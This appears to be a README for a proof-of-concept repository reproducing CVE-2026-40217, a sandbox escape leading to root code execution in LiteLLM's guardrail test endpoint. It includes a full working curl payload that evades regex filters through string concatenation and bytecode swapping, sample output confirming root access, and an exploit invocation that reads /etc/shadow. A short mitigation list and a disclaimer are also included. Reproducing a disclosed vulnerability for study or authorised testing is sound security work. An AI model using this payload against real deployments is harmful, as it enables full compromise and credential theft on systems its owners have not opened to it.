
The code for personally reproducing the corresponding vulnerability
LiteLLM
POST /guardrails/test_custom_code— Sandbox Escape leading to Remote Code Execution (RCE) as root in default Docker deployment.
| Field | Value |
|---|---|
| CVE | CVE-2026-40217 |
| CVSS | 8.8 (HIGH) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-913 (Improper Control of Dynamically-Managed Code Resources) / CWE-94 |
| Affected | LiteLLM ≤ 2026-04-08 (pre-v1.83.11) |
| Fixed | v1.83.11+ (replaced hand-rolled sandbox with RestrictedPython) |
| Discoverer | Markus Vervier — X41 D-Sec GmbH |
| Published | 2026-04-08 |
| Link | X41 Advisory • GHSA-wxxx-gvqv-xp7p • oss-security |
The POST /guardrails/test_custom_code endpoint in LiteLLM allows authenticated users to submit arbitrary Python code for guardrail testing. The endpoint attempts to restrict dangerous operations using regex-based source code filtering, but this can be completely bypassed using CPython bytecode rewriting techniques, leading to arbitrary code execution in the proxy process. In the default Docker image, the proxy runs as root, compounding the impact.
# Install Python dependencies (required by exploit.py)
pip install -r requirements.txt
⚠️ Important: The
docker-compose.ymlpins the vulnerable image to a specific digest (sha256:7c311546...) from March 22, 2026. Do not change the tag tomain-latestor any newer version — later images may already contain the fix (RestrictedPython) even if the version number suggests otherwise (e.g.,v1.83.10-stablewas rebuilt post-patch and is not vulnerable).
# 1. Install dependencies (if not already done)
pip install -r requirements.txt
# 2. Start a vulnerable LiteLLM instance
docker compose up -d
# 3. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key"
# 4. Read sensitive files (change the --cmd argument)
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" \
--cmd "cat /etc/shadow"
# Or using curl directly
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/guardrails/test_custom_code \
-d '{
"custom_code": "def apply_guardrail(inputs, request_data, input_type):\n obj = str.mro()[1]\n def g(fn):\n yield fn.placeholder\n c = g(None).gi_code\n gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n for v in g(http_get):\n gd = v\n break\n bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n return {\"rce\": imp(\"os\").popen(\"id\").read()}",
"test_input": {"messages": [{"role": "user", "content": "test"}]}
}'
{"success":true,"result":{"rce":"uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n"},"error":null,"error_type":null}
CVE-2026-40217/
├── README.md # This file
├── docker-compose.yml # One-command vulnerable environment
├── requirements.txt # Dependencies
├── exploit/
│ ├── exploit.py # Full exploit script
│ └── payload.py # Bytecode payload module
├── docs/
│ └── advisory.md # Translated advisory details
└── screenshots/ # Proof screenshots
RestrictedPython instead of hand-rolled sandbox)/guardrails/test_custom_code at your reverse proxy / API gatewaydocker run --user 1000:1000 ...Disclaimer: This content is provided for educational purposes and authorized security testing only.
| Step | Technique | Code |
|---|
| 1 | Regex bypass via string concatenation | "_"+"_gl"+"ob"+"als"+"_"+"_" |
| 2 | Obtain object class via str.mro()[1] | obj = str.mro()[1] |
| 3 | Access generator code object via gi_code | c = g(None).gi_code |
| 4 | Swap function __code__ via object.__setattr__ | obj.__setattr__(g, cn, c.replace(co_names=(gn,))) |
| 5 | Extract real builtins from http_get.__globals__ | imp = gd["__builtins__"]["__import__"] |
| 6 | Achieve RCE via os.popen | imp("os").popen("id").read() |